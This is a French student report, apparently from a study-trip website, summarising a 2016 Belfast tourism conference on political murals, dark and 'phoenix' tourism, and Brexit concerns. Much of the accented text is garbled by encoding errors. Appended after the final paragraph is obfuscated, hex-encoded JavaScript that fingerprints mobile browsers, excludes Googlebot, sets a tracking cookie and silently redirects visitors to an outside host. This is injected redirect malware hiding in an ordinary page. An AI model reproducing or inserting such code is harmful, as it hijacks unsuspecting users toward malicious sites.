Les donnA�es, ainsi que les mA�thodes utilisA�es pour les acquA�rir sont prA�sentA�es sous chacun des liens suivant.
La rA�colte des diverses donnA�es y est dA�crite et un retour rA�flexif sur le choix des diffA�rentes mA�thodes ainsi que de leurs applications sur le terrain est donnA�. Enfin l’analyse des observations effectuA�es clos chacun des liens.

Circuits touristiques
Documentation touristique et souvenir
Interviews
ConfA�rences

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ConfA�rence sur le tourisme: quel avenir pour Belfast?

Par CA�cile Walder et Estelle Pannatier

ClA�mence Lehec, 2016, ConfA�rence sur le tourisme A� Belfast, Belfast Barge.
ClA�mence Lehec, 2016, ConfA�rence sur le tourisme, Belfast Barge.

AprA?s avoir passA� une matinA�e A� la��Andy Tyrie Interpretative Centre A� East Belfast, nous sommes retournA�s au centre-ville afin da��A�couter la confA�rence de Naomi Doak et Robert Heslip sur le tourisme A� Belfast. Ces deux professionnels du tourisme travaillent pour le Belfast city council. A�La confA�rence se tenait dans la Belfast Barge, un bateau amarrA� qui abrite un musA�e maritime.

Tout da��abord, Naomi Doak a contextualisA� la situation particuliA?re de Belfast. Un des fait intA�ressant qua��elle a choisi de souligner est le fait qua��il y a plus de peace lignes (murs de sA�paration entre les communautA�s) en 2016 qua��en 1998, annA�e de la signature du a�?Good friday agreementa�?, qui marque le dA�but du processus de paix.

AprA?s avoir abordA� la situation gA�nA�rale de la ville, nos interlocuteurs ont cherchA� A� nous prA�senter les diffA�rentes pistes A� l’A�tude pour dA�velopper le tourisme.

Naomi Doak sa��est tout da��abord penchA�e sur la question sensible des murals et de leurs effets sur les touristes. Elle a soulignA� les diffA�rences frappantes entre les deux genres de reprA�sentations que la��on peut observer. Les peintures du cA?tA� rA�publicain sont parfois entourA�es da��une aura mystique, oA? la��on retrouve des A�lA�ments de la culture irlandaise et ses lA�gendes. Elles invoquent la��histoire qui lie la communautA� catholique A� la��Irlande et leur vocation est unificatrice. Elles ont pour fonction de renforcer la��identitA� irlandaise. Du cA?tA� loyaliste, le sujet des fresques est souvent plus violent et les murals sont lA� pour marquer le territoire: ils reprA�sentent des hommes armA�s et portent des messages intimidants.

Ces deux visions offertes au regard des touristes ont des rA�percussions sur leur perception du conflit, et les incitent A� prendre position pour un camp. Il A�tait intA�ressant de voir ce dernier point soulevA�, car ca��est effectivement un phA�nomA?ne que nous avons pu observer au sein de notre groupe da��A�tudiants. Ces peintures ont potentiellement des retombA�es A�conomiques importantes car elles attirent des investisseurs, en particulier dans les quartiers catholiques.

Naomi Doak et Robert Heslip ont ensuite prA�sentA� leur vision du tourisme « de masse », qua��ils jugent inadaptA� au contexte belfastois. En effet, le fait que les touristes arrivent en car dans les environs des fresques, prennent quelques photos et repartent immA�diatement sans dA�penser le moindre pound, est souvent mal perA�u par les populations locales pour lesquelles les murals reprA�sentent gA�nA�ralement des sujets encore sensibles.

Les confA�renciers ont A�voquA� deux types de dA�veloppements touristiques: le dark tourism et le phoenix tourism. Le premier cherche A� attirer les touristes en prA�sentant les A�lA�ments noirs de la��histoire de la ville (la pA�riode des Troubles, mais A�galement le naufrage du Titanic) alors que le deuxiA?me, basA� sur la mA�taphore du phA�nix qui renaA�t de ces cendres, utilise le processus de paix comme attraction touristique.

Les murals, principal sujet de notre voyage da��A�tude, n’occupent pas la mA?me place dans les deux types de tourisme. En effet, pour le dark tourism, les nouvelles fresques (axA�es sur la reconstruction, le dialogue intercommunautaire,..) ne prA�sentent pas d’intA�rA?t, puisque le public cible est attirA� par les murals liA�s au conflit. Le phoenix tourism a quant A� lui besoin da��A�lA�ments qui traduisent l’A�volution du processus de paix, dont ces nouvelles fresques font partie.

Comme la��ont soulignA� Naomi Doak et Robert Heslip, la principale embA�che au dA�veloppement da��un tourisme liA� A� la mA�moire du conflit rA�side dans le fait que la ville manque d’infrastructures appropriA�es, notamment de musA�es qui racontent tant l’histoire du conflit que celle du processus de paix. En effet, les diffA�rents acteurs politiques de la ville se montrent aujourd’hui encore incapables de produire un rA�cit commun qui conviendrait A� toutes les parties. Et cette absence rend la comprA�hension de la situation belfastoise trA?s difficile pour les visiteurs. Nous y avons nous-mA?mes A�tA� confrontA�s durant notre sA�jour. En effet, lors de nos diffA�rentes visites tant du cA?tA� rA�publicain qu’unioniste, les rA�cits des diffA�rents acteurs, notamment ceux des Black Cab, A�taient empreints da��une vision encore trA?s sA�grA�guA�e du conflit.

Un deuxiA?me autre problA?me se pose en parallA?le, selon nos interlocuteurs, celui du rA�cit de la violence en lui-mA?me. En effet, raconter la violence, c’est aussi la faire revivre. Or, les populations ne sont peut-A?tre pas prA?tes A� se replonger dans cette histoire dont le souvenir est encore trop vif.

Ce qui est ressorti de cette confA�rence sont les nombreuses interrogations des responsables du tourisme face au dilemme de la mise en tourisme de Belfast. Ils nous ont demandA� A� plusieurs reprises si, en tant que visiteurs A�trangers, nous avions certaines attentes touristiques et dans quelles infrastructures celles-ci pourraient se traduire. Quelques A�lA�ments A�voquA�s par les confA�renciers sur le contexte actuel nous ont A�galement permis de mieux comprendre certains des enjeux auxquels la ville va devoir faire face dans le futur: la cA�lA�bration du centenaire de la��Easter rising, qui marque la��anniversaire de la proclamation de la premiA?re RA�publique da��Irlande, mais A�galement la perspective da��un A�ventuel Brexit, qui causerait selon les confA�renciers, un grand prA�judice A� la��Irlande du Nord, dont nombre de financements proviennent de la��Union europA�enne.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}